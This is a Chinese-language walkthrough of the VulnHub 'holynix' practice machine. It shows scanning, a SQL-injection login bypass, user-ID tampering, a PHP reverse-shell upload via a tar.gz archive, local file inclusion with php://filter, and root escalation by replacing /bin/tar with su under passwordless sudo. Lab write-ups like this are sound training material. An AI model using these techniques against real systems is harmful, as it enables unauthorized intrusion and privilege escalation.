holynix
靶机搭建
下载链接
https://download.vulnhub.com/holynix/holynix-v1.tar.bz2
如果扫不到ip可以尝试下面的操作
- 用vmware打开虚拟机,选择我已移动主机
- 把虚拟机改成nat模式
- 重启
信息搜集
主机发现
扫描C段,发现130这台主机

端口扫描
快速TCP扫描
开放了80端口

常见端口的UDP扫描

详细TCP扫描

漏洞脚本扫描
可能有sql注入


漏洞探测
Web渗透
来到登录界面,尝试万能密码

成功登录,后台有文件上传的接口

尝试上传,但是没有权限。抓个包看看

这里的id很简单啊,感觉可以越权

改成3之后上传成功了

回到浏览器中,将id固定为3

刷新,用户变成了gmckinnon

上传php-webshell,用kali中自带的就行了(记得改ip)
猜测上传的目录是用户的家目录/~gmckinnon,访问刚刚上传的php,显示没有权限

还有另一种上传方式,上传gzip压缩文件,然后勾选自动解压,这里可以多尝试几种压缩命令,最后发现要用tar命令
tar -czf shell.tar.gz php-reverse-shell.php
上传shell.tar.gz会发现家目录中多了php-reverse-shell.php这个文件,点击即可fantanshell
其实不尝试也可以,还有任意文件读取漏洞,但我做的时候没发现
开到security页面,可以发现每一个选项框对应的是一个文件路径,那就可以尝试一下文件包含

改成/etc/passwd,成功读取

读取一下上传文件的逻辑,文件是transfer.php(抓个包就知道了),这里最好用php伪协议+base64编码读取,看着清晰一点
php://filter/convert.base64-encode/resource=transfer.php
可以看到解压命令是tar,上传的文件需要tar.gz,所以要用tar -czf这个命令
<?php
if ( $auth == 0 ) {
echo "<center><h2>Content Restricted</h2></center>";
} else {
if ( $upload == 1 )
{
$homedir = "/home/".$logged_in_user. "/";
$uploaddir = "upload/";
$target = $uploaddir . basename( $_FILES['uploaded']['name']) ;
$uploaded_type = $_FILES['uploaded']['type'];
$command=0;
$ok=1;
if ( $uploaded_type =="application/gzip" && $_POST['autoextract'] == 'true' ) { $command = 1; }
if ($ok==0)
{
echo "Sorry your file was not uploaded";
echo "<a href='?index.php?page=upload.php' >Back to upload page</a>";
} else {
if(move_uploaded_file($_FILES['uploaded']['tmp_name'], $target))
{
echo "<h3>The file '" .$_FILES['uploaded']['name']. "' has been uploaded.</h3><br />";
echo "The ownership of the uploaded file(s) have been changed accordingly.";
echo "<br /><a href='?page=upload.php' >Back to upload page</a>";
if ( $command == 1 )
{
exec("sudo tar xzf " .$target. " -C " .$homedir);
exec("rm " .$target);
} else {
exec("sudo mv " .$target. " " .$homedir . $_FILES['uploaded']['name']);
}
exec("/var/apache2/htdocs/update_own");
} else {
echo "Sorry, there was a problem uploading your file.<br />";
echo "<br /><a href='?page=upload.php' >Back to upload page</a>";
}
}
} else { echo "<br /><br /><h3>Home directory uploading disabled for user " .$logged_in_user. "</h3>"; }
}
?>
提权

用mv提权,把/bin/su复制为/bin/tar。又因为可以不用密码使用sudo执行tar,就可以不用密码执行sudo su(sudo tar这里的tar已经变成su了)

复盘
打靶的时候我有个疑问,为什么直接上传权限是600,而解压后权限提升了变成了644

这和linux中的权限掩码有关
文件默认权限 = 666 - umask(目录是777 - umask);
root/ 普通用户默认umask 022→ 文件默认 644;www-data为了安全,umask通常是077→ 文件默认 600;
不解压,只执行mv,保留 Web 用户(www-data)创建临时文件的 600 权限(umask 077),仅移动文件不修改权限。
解压(sudo tar xzf):还原打包时文件的 644 权限(Kali/root 用户默认 umask 022,文件默认 644)。

浙公网安备 33010602011771号